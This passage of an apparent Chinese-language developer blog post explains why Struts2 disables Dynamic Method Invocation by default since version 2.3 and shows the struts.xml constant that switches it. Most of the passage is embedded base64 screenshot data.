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” alt=”” / 这是因为从Struts2.3开始,DMI默认是禁用的,Apache Struts项目的官方解释如下: 从Struts2.3开始,我们增加了一个开关来控制DMI,我们这样做基于两个原因: 1. 如果Action的实现是纯POJO方式(既不继承自ActionSupport也不实现Action接口),这种场景下使用DMI可能导致安全问题。 2. DMI功能跟使用通配符配置Action类的方法有重叠的地方,而通配符配置的方式早在Struts1就有了。 如果你有安全性的顾虑或更喜欢通配符配置方式的话,请在struts.xml中做如下设置: constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ 该开关默认是关闭DMI的,为了使用DMI,我必须在我的struts配置文件中将其打开,但是打开后我又得到了另外一个错误: aaarticlea/png;base64,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